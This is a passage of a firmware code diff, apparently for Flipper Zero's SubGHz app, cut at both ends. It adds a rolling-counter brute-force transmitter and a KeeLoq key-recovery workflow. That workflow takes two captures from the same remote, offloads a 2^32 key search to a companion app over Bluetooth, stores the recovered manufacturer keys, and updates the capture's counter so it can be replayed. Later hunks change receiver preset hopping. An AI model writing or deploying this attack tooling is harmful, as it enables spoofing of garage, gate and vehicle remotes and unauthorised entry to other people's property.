ctx->state = CounterBfStateIdle;
counter_bf_draw(subghz, ctx);
return true;
}
if(event.event == CounterBfEventStart) {
if(ctx->state == CounterBfStateWarning) return true;
if(ctx->state != CounterBfStateRunning) {
// Start
ctx->state = CounterBfStateRunning;
ctx->tick_wait = 0;
subghz->state_notifications = SubGhzNotificationStateTx;
counter_bf_send(subghz, ctx);
} else {
// Stop
ctx->state = CounterBfStateStopped;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
counter_bf_save(subghz, ctx);
}
counter_bf_draw(subghz, ctx);
return true;
@@ -130,25 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(ctx->tick_wait > 0) {
ctx->tick_wait--;
} else {
// Time to send next packet
ctx->current_cnt += ctx->step;
ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
counter_bf_send(subghz, ctx);
counter_bf_save(subghz, ctx);
counter_bf_draw(subghz, ctx);
}
}
return true;
} else if(event.type == SceneManagerEventTypeBack) {
subghz_block_generic_global.endless_tx = false;
if(ctx->state == CounterBfStateWarning) {
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
// Save counter to file
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_save_protocol_to_file(
subghz, fff, furi_string_get_cstr(subghz->file_path));
counter_bf_save(subghz, ctx);
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
scene_manager_previous_scene(subghz->scene_manager);
@@ -160,6 +222,5 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
void subghz_scene_counter_bf_on_exit(void* context) {
SubGhz* subghz = context;
widget_reset(subghz->widget);
subghz_block_generic_global.endless_tx = false;
subghz->state_notifications = SubGhzNotificationStateIDLE;
}

View File

@@ -0,0 +1,253 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <dialogs/dialogs.h>
enum {
KlBf2IndexLoadSig1,
KlBf2IndexLoadSig2,
KlBf2IndexType,
KlBf2IndexStartBf,
};
static const char* kl_bf2_type_labels[] = {
"Type: Auto (6>7>8)",
"Type: 6 (Serial 1)",
"Type: 7 (Serial 2)",
"Type: 8 (Serial 3)",
};
static const uint8_t kl_bf2_type_values[] = {0, 6, 7, 8};
static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
*out_fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
*out_hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
return true;
}
static bool kl_bf2_is_keeloq(SubGhz* subghz) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
FuriString* proto = furi_string_alloc();
bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
furi_string_equal_str(proto, "KeeLoq");
furi_string_free(proto);
return ok;
}
static void kl_bf2_submenu_callback(void* context, uint32_t index) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
}
static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(
&browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
browser_options.base_path = SUBGHZ_APP_FOLDER;
FuriString* selected = furi_string_alloc();
furi_string_set(selected, SUBGHZ_APP_FOLDER);
bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
if(res) {
res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
if(res) {
furi_string_set(out_path, selected);
}
}
furi_string_free(selected);
return res;
}
static void kl_bf2_rebuild_menu(SubGhz* subghz) {
submenu_reset(subghz->submenu);
char label1[64];
char label2[64];
if(subghz->keeloq_bf2.sig1_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label1, sizeof(label1), "Load Signal 1");
}
if(subghz->keeloq_bf2.sig2_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label2, sizeof(label2), "Load Signal 2");
}
submenu_add_item(
subghz->submenu, label1, KlBf2IndexLoadSig1,
kl_bf2_submenu_callback, subghz);
submenu_add_item(
subghz->submenu, label2, KlBf2IndexLoadSig2,
kl_bf2_submenu_callback, subghz);
int type_idx = 0;
for(int i = 0; i < 4; i++) {
if(kl_bf2_type_values[i] == subghz->keeloq_bf2.learn_type) {
type_idx = i;
break;
}
}
submenu_add_item(
subghz->submenu, kl_bf2_type_labels[type_idx], KlBf2IndexType,
kl_bf2_submenu_callback, subghz);
if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
submenu_add_item(
subghz->submenu, "Start BF", KlBf2IndexStartBf,
kl_bf2_submenu_callback, subghz);
}
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
}
void subghz_scene_keeloq_bf2_on_enter(void* context) {
SubGhz* subghz = context;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.learn_type = 0;
kl_bf2_rebuild_menu(subghz);
}
bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KlBf2IndexLoadSig1) {
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix, hop;
if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.fix = fix;
subghz->keeloq_bf2.hop1 = hop;
subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
subghz->keeloq_bf2.sig1_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig1_path, path);
subghz->keeloq_bf2.sig2_loaded = false;
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexLoadSig2) {
if(!subghz->keeloq_bf2.sig1_loaded) {
dialog_message_show_storage_error(
subghz->dialogs, "Load Signal 1 first");
kl_bf2_rebuild_menu(subghz);
return true;
}
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix2, hop2;
if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t serial2 = fix2 & 0x0FFFFFFF;
if(serial2 != subghz->keeloq_bf2.serial) {
dialog_message_show_storage_error(
subghz->dialogs, "Serial mismatch!\nMust be same remote");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
if(hop2 == subghz->keeloq_bf2.hop1) {
dialog_message_show_storage_error(
subghz->dialogs, "Same hop code!\nUse a different\ncapture");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.hop2 = hop2;
subghz->keeloq_bf2.sig2_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig2_path, path);
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexType) {
uint8_t cur = subghz->keeloq_bf2.learn_type;
if(cur == 0) cur = 6;
else if(cur == 6) cur = 7;
else if(cur == 7) cur = 8;
else cur = 0;
subghz->keeloq_bf2.learn_type = cur;
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexStartBf) {
if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
return true;
}
if(!subghz_key_load(
subghz,
furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
true)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot reload\nSignal 1");
kl_bf2_rebuild_menu(subghz);
return true;
}
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
return true;
}
}
return false;
}
void subghz_scene_keeloq_bf2_on_exit(void* context) {
SubGhz* subghz = context;
submenu_reset(subghz->submenu);
}

View File

@@ -0,0 +1,284 @@
#include "../subghz_i.h"
#include "../helpers/subghz_txrx_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/protocols/keeloq_common.h>
#include <lib/subghz/environment.h>
#include <lib/subghz/subghz_keystore.h>
#include <furi.h>
#include <bt/bt_service/bt.h>
#define KL_DECRYPT_EVENT_DONE (0xD2)
#define KL_DECRYPT_EVENT_CANDIDATE (0xD3)
#define KL_TOTAL_KEYS 0x100000000ULL
#define KL_MSG_BF_REQUEST 0x10
#define KL_MSG_BF_PROGRESS 0x11
#define KL_MSG_BF_RESULT 0x12
#define KL_MSG_BF_CANCEL 0x13
typedef struct {
SubGhz* subghz;
volatile bool cancel;
uint32_t start_tick;
bool success;
FuriString* result;
uint32_t fix;
uint32_t hop;
uint32_t serial;
uint8_t btn;
uint16_t disc;
uint32_t hop2;
uint32_t candidate_count;
uint64_t recovered_mfkey;
uint16_t recovered_type;
uint32_t recovered_cnt;
bool ble_offload;
} KlDecryptCtx;
static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
KlDecryptCtx* ctx = context;
if(size < 1 || ctx->cancel) return;
if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
uint32_t keys_tested, keys_per_sec;
memcpy(&keys_tested, data + 2, 4);
memcpy(&keys_per_sec, data + 6, 4);
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
subghz_view_keeloq_decrypt_update_stats(
ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
} else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
uint8_t found = data[1];
if(found == 1) {
uint64_t mfkey = 0;
uint32_t cnt = 0;
memcpy(&mfkey, data + 2, 8);
memcpy(&cnt, data + 18, 4);
uint16_t learn_type = (size >= 27) ? data[26] : 6;
ctx->candidate_count++;
ctx->recovered_mfkey = mfkey;
ctx->recovered_type = learn_type;
ctx->recovered_cnt = cnt;
subghz_view_keeloq_decrypt_update_candidates(
ctx->subghz->subghz_keeloq_decrypt, ctx->candidate_count);
view_dispatcher_send_custom_event(
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_CANDIDATE);
} else if(found == 2) {
ctx->success = (ctx->candidate_count > 0);
view_dispatcher_send_custom_event(
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
}
}
}
static void kl_ble_cleanup(KlDecryptCtx* ctx) {
if(!ctx->ble_offload) return;
Bt* bt = furi_record_open(RECORD_BT);
bt_set_custom_data_callback(bt, NULL, NULL);
furi_record_close(RECORD_BT);
ctx->ble_offload = false;
}
static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
Bt* bt = furi_record_open(RECORD_BT);
if(!bt_is_connected(bt)) {
furi_record_close(RECORD_BT);
return false;
}
bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
uint8_t req[18];
req[0] = KL_MSG_BF_REQUEST;
req[1] = ctx->subghz->keeloq_bf2.learn_type;
memcpy(req + 2, &ctx->fix, 4);
memcpy(req + 6, &ctx->hop, 4);
memcpy(req + 10, &ctx->hop2, 4);
memcpy(req + 14, &ctx->serial, 4);
bt_custom_data_tx(bt, req, sizeof(req));
furi_record_close(RECORD_BT);
ctx->ble_offload = true;
subghz_view_keeloq_decrypt_set_status(
ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
return true;
}
static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
}
void subghz_scene_keeloq_decrypt_on_enter(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
memset(ctx, 0, sizeof(KlDecryptCtx));
ctx->subghz = subghz;
ctx->result = furi_string_alloc_set("No result");
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
}
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
subghz_view_keeloq_decrypt_set_callback(
subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
ctx->start_tick = furi_get_tick();
if(!kl_ble_start_offload(ctx)) {
char msg[128];
snprintf(msg, sizeof(msg),
"No BLE connection!\n"
"Connect companion app\n"
"and try again.\n\n"
"Fix:0x%08lX\nHop:0x%08lX",
ctx->fix, ctx->hop);
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, msg);
}
}
bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KL_DECRYPT_EVENT_CANDIDATE) {
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char key_name[24];
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
subghz_keeloq_keys_add(
subghz->keeloq_keys_manager,
ctx->recovered_mfkey,
ctx->recovered_type,
key_name);
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
SubGhzKeystore* env_ks = subghz_environment_get_keystore(
subghz->txrx->environment);
SubGhzKeyArray_t* env_arr = subghz_keystore_get_data(env_ks);
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
entry->name = furi_string_alloc_set(key_name);
entry->key = ctx->recovered_mfkey;
entry->type = ctx->recovered_type;
return true;
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
kl_ble_cleanup(ctx);
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
if(ctx->success) {
furi_string_printf(
ctx->result,
"Found %lu candidate(s)\n"
"Last: %08lX%08lX\n"
"Type:%u Cnt:%04lX\n"
"Saved to user keys",
ctx->candidate_count,
(uint32_t)(ctx->recovered_mfkey >> 32),
(uint32_t)(ctx->recovered_mfkey & 0xFFFFFFFF),
ctx->recovered_type,
ctx->recovered_cnt);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
char mf_str[20];
snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
uint32_t cnt_val = ctx->recovered_cnt;
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
if(ctx->hop2 != 0) {
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
}
if(subghz_path_is_file(subghz->file_path)) {
subghz_save_protocol_to_file(
subghz,
subghz_txrx_get_fff_data(subghz->txrx),
furi_string_get_cstr(subghz->file_path));
}
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
} else if(!ctx->cancel) {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false,
"Key NOT found.\nNo matching key in\n2^32 search space.");
} else {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, "Cancelled.");
}
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
if(ctx->ble_offload) {
Bt* bt = furi_record_open(RECORD_BT);
uint8_t cancel_msg = KL_MSG_BF_CANCEL;
bt_custom_data_tx(bt, &cancel_msg, 1);
furi_record_close(RECORD_BT);
}
ctx->cancel = true;
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
}
return false;
}
void subghz_scene_keeloq_decrypt_on_exit(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(ctx) {
kl_ble_cleanup(ctx);
ctx->cancel = true;
furi_string_free(ctx->result);
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
}
}

View File

@@ -0,0 +1,141 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq_common.h>
typedef struct {
uint32_t serial;
uint32_t fix;
uint32_t hop;
uint32_t hop2;
uint8_t btn;
uint16_t disc;
size_t bf_indices[32];
size_t bf_count;
size_t valid_indices[32];
size_t valid_count;
} KlCleanupCtx;
static bool kl_cleanup_validate_hop(uint64_t key, uint32_t hop, uint8_t btn, uint16_t disc) {
uint32_t dec = subghz_protocol_keeloq_common_decrypt(hop, key);
if((dec >> 28) != btn) return false;
uint16_t dec_disc = (dec >> 16) & 0x3FF;
if(dec_disc == disc) return true;
if((dec_disc & 0xFF) == (disc & 0xFF)) return true;
return false;
}
static bool kl_cleanup_validate_key(uint64_t key, uint32_t hop1, uint32_t hop2, uint8_t btn, uint16_t disc) {
if(!kl_cleanup_validate_hop(key, hop1, btn, disc)) return false;
if(hop2 == 0) return true;
if(!kl_cleanup_validate_hop(key, hop2, btn, disc)) return false;
uint32_t dec1 = subghz_protocol_keeloq_common_decrypt(hop1, key);
uint32_t dec2 = subghz_protocol_keeloq_common_decrypt(hop2, key);
uint16_t cnt1 = dec1 & 0xFFFF;
uint16_t cnt2 = dec2 & 0xFFFF;
int diff = (int)cnt2 - (int)cnt1;
return (diff >= 1 && diff <= 256);
}
void subghz_scene_kl_bf_cleanup_on_enter(void* context) {
SubGhz* subghz = context;
KlCleanupCtx* ctx = malloc(sizeof(KlCleanupCtx));
memset(ctx, 0, sizeof(KlCleanupCtx));
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
}
ctx->hop2 = 0;
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Hop2", &ctx->hop2, 1);
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKlBfCleanup, (uint32_t)(uintptr_t)ctx);
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char bf_name[24];
snprintf(bf_name, sizeof(bf_name), "BF_%07lX", ctx->serial);
size_t user_count = subghz_keeloq_keys_user_count(subghz->keeloq_keys_manager);
ctx->bf_count = 0;
ctx->valid_count = 0;
for(size_t i = 0; i < user_count && ctx->bf_count < 32; i++) {
SubGhzKey* k = subghz_keeloq_keys_get(subghz->keeloq_keys_manager, i);
if(!k || !k->name) continue;
const char* name = furi_string_get_cstr(k->name);
if(strcmp(name, bf_name) == 0) {
ctx->bf_indices[ctx->bf_count] = i;
if(kl_cleanup_validate_key(k->key, ctx->hop, ctx->hop2, ctx->btn, ctx->disc)) {
ctx->valid_indices[ctx->valid_count++] = i;
}
ctx->bf_count++;
}
}
FuriString* msg = furi_string_alloc();
if(ctx->bf_count == 0) {
furi_string_set_str(msg, "No BF candidate keys\nfound for this serial.");
} else if(ctx->bf_count == 1) {
furi_string_set_str(msg, "Only 1 BF key exists.\nNothing to clean up.");
} else if(ctx->valid_count == 1) {
size_t deleted = 0;
for(int i = (int)ctx->bf_count - 1; i >= 0; i--) {
if(ctx->bf_indices[i] != ctx->valid_indices[0]) {
subghz_keeloq_keys_delete(subghz->keeloq_keys_manager, ctx->bf_indices[i]);
deleted++;
}
}
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
furi_string_printf(msg,
"Cleaned %u keys.\nKept valid key:\n%s",
deleted, bf_name);
} else if(ctx->valid_count == 0) {
furi_string_printf(msg,
"%u BF keys found\nbut none validates\nhop. Kept all.",
ctx->bf_count);
} else {
furi_string_printf(msg,
"%u BF keys, %u valid.\nCannot auto-select.\nKept all.",
ctx->bf_count, ctx->valid_count);
}
widget_add_text_scroll_element(subghz->widget, 0, 0, 128, 64, furi_string_get_cstr(msg));
furi_string_free(msg);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
}
bool subghz_scene_kl_bf_cleanup_on_event(void* context, SceneManagerEvent event) {
UNUSED(context);
UNUSED(event);
return false;
}
void subghz_scene_kl_bf_cleanup_on_exit(void* context) {
SubGhz* subghz = context;
KlCleanupCtx* ctx = (KlCleanupCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKlBfCleanup);
if(ctx) {
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKlBfCleanup, 0);
}
widget_reset(subghz->widget);
}

View File

@@ -213,7 +213,12 @@ void subghz_scene_receiver_on_enter(void* context) {
} else {
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
}
subghz_txrx_mod_hopper_set_running(subghz->txrx, subghz->last_settings->enable_mod_hopping);
if(subghz->last_settings->enable_preset_hopping) {
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
} else {
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
}
subghz_txrx_rx_start(subghz->txrx);
subghz_view_receiver_set_idx_menu(subghz->subghz_receiver, subghz->idx_menu_chosen);
@@ -242,6 +247,7 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
subghz->state_notifications = SubGhzNotificationStateIDLE;
subghz_txrx_stop(subghz->txrx);
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
subghz_txrx_set_rx_callback(subghz->txrx, NULL, subghz);
if(subghz_rx_key_state_get(subghz) == SubGhzRxKeyStateAddKey) {
@@ -302,8 +308,8 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
subghz_txrx_hopper_update(subghz->txrx, subghz->last_settings->hopping_threshold);
subghz_scene_receiver_update_statusbar(subghz);
}
if(subghz_txrx_mod_hopper_get_running(subghz->txrx)) {
subghz_txrx_mod_hopper_update(subghz->txrx);
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF) {
subghz_txrx_preset_hopper_update(subghz->txrx, subghz->last_settings->preset_hopping_threshold);
subghz_scene_receiver_update_statusbar(subghz);
}

View File

@@ -1,13 +1,14 @@
#include "../subghz_i.h"
#include <lib/toolbox/value_index.h>
#include <math.h>
#define TAG "SubGhzSceneReceiverConfig"
enum SubGhzSettingIndex {
SubGhzSettingIndexFrequency,
SubGhzSettingIndexHopping,
SubGhzSettingIndexModulation,
SubGhzSettingIndexModHopping,
SubGhzSettingIndexHopping,
SubGhzSettingIndexPresetHopping,
SubGhzSettingIndexBinRAW,
SubGhzSettingIndexIgnoreReversRB2,
SubGhzSettingIndexIgnoreAlarms,
@@ -81,6 +82,36 @@ const float hopping_mode_value[HOPPING_MODE_COUNT] = {
-40.0f,
};
#define PRESET_HOPPING_MODE_COUNT 12
const char* const preset_hopping_mode_text[PRESET_HOPPING_MODE_COUNT] = {
"OFF",
"-90dBm",
"-85dBm",
"-80dBm",
"-75dBm",
"-70dBm",
"-65dBm",
"-60dBm",
"-55dBm",
"-50dBm",
"-45dBm",
"-40dBm",
};
const float preset_hopping_mode_value[PRESET_HOPPING_MODE_COUNT] = {
NAN,
-90.0f,
-85.0f,
-80.0f,
-75.0f,
-70.0f,
-65.0f,
-60.0f,
-55.0f,
-50.0f,
-45.0f,
-40.0f,
};
#define COMBO_BOX_COUNT 2
const uint32_t hopping_value[COMBO_BOX_COUNT] = {
@@ -153,6 +184,23 @@ uint8_t subghz_scene_receiver_config_next_preset(const char* preset_name, void*
return index;
}
uint8_t subghz_scene_receiver_config_preset_hopper_value_index(void* context) {
furi_assert(context);
SubGhz* subghz = context;
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
return 0;
} else {
variable_item_set_current_value_text(
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation),
" -----");
return value_index_float(
subghz->last_settings->preset_hopping_threshold,
preset_hopping_mode_value,
PRESET_HOPPING_MODE_COUNT);
}
}
uint8_t subghz_scene_receiver_config_hopper_value_index(void* context) {
furi_assert(context);
SubGhz* subghz = context;
@@ -213,19 +261,21 @@ static void subghz_scene_receiver_config_set_preset(VariableItem* item) {
uint8_t index = variable_item_get_current_value_index(item);
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
const char* preset_name = subghz_setting_get_preset_name(setting, index);
variable_item_set_current_value_text(item, preset_name);
//subghz->last_settings->preset = index;
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
const char* preset_name = subghz_setting_get_preset_name(setting, index);
variable_item_set_current_value_text(item, preset_name);
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
//Edit TX power, if necessary.
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
subghz_txrx_set_preset(
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
subghz->last_settings->preset_index = index;
subghz_txrx_set_preset(
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
subghz->last_settings->preset_index = index;
} else {
variable_item_set_current_value_index(item, subghz->last_settings->preset_index);
}
}
static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
@@ -274,15 +324,57 @@ static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
subghz->last_settings->hopping_threshold = hopping_mode_value[index];
subghz_txrx_hopper_set_state(
subghz->txrx, index != 0 ? SubGhzHopperStateRunning : SubGhzHopperStateOFF);
VariableItem* preset_hopping_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexPresetHopping);
variable_item_set_locked(
preset_hopping_item,
index != 0,
"Turn off\nHopping\nfirst!");
}
static void subghz_scene_receiver_config_set_mod_hopping(VariableItem* item) {
static void subghz_scene_receiver_config_set_preset_hopping(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, combobox_text[index]);
bool enabled = index == 1;
subghz->last_settings->enable_mod_hopping = enabled;
subghz_txrx_mod_hopper_set_running(subghz->txrx, enabled);
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
VariableItem* preset_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation);
variable_item_set_current_value_text(item, preset_hopping_mode_text[index]);
